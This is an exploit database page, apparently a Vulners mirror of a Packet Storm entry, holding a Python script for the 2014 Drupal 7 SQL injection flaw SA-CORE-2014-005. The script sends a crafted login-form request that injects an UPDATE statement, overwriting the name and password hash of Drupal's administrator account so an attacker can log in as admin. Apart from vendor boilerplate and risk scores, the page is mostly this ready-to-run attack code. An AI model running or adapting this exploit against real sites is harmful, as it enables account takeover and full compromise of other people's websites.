Lucene search
K

Drupal Core 7.32 SQL Injection

🗓️ 17 Oct 2014 00:00:00Reported by fyukyukType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 66 Views

Drupal Core 7.32 SQL Injection exploit via SA-CORE-2014-00

Related
Code
`#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005  
#Creditz to https://www.reddit.com/user/fyukyuk  
import urllib2,sys  
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py  
host = sys.argv[1]  
user = sys.argv[2]  
password = sys.argv[3]  
if len(sys.argv) != 3:  
print "host username password"  
print "http://nope.io admin wowsecure"  
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()  
target = '%s/?q=node&destination=node' % host  
post_data = "name[0%20;update+users+set+name%3d\'" \  
+user \  
+"'+,+pass+%3d+'" \  
+hash[:55] \  
+"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"  
content = urllib2.urlopen(url=target, data=post_data).read()  
if "mb_strlen() expects parameter 1" in content:  
print "Success!\nLogin now with user:%s and pass:%s" % (user, password)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Oct 2014 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.94366
66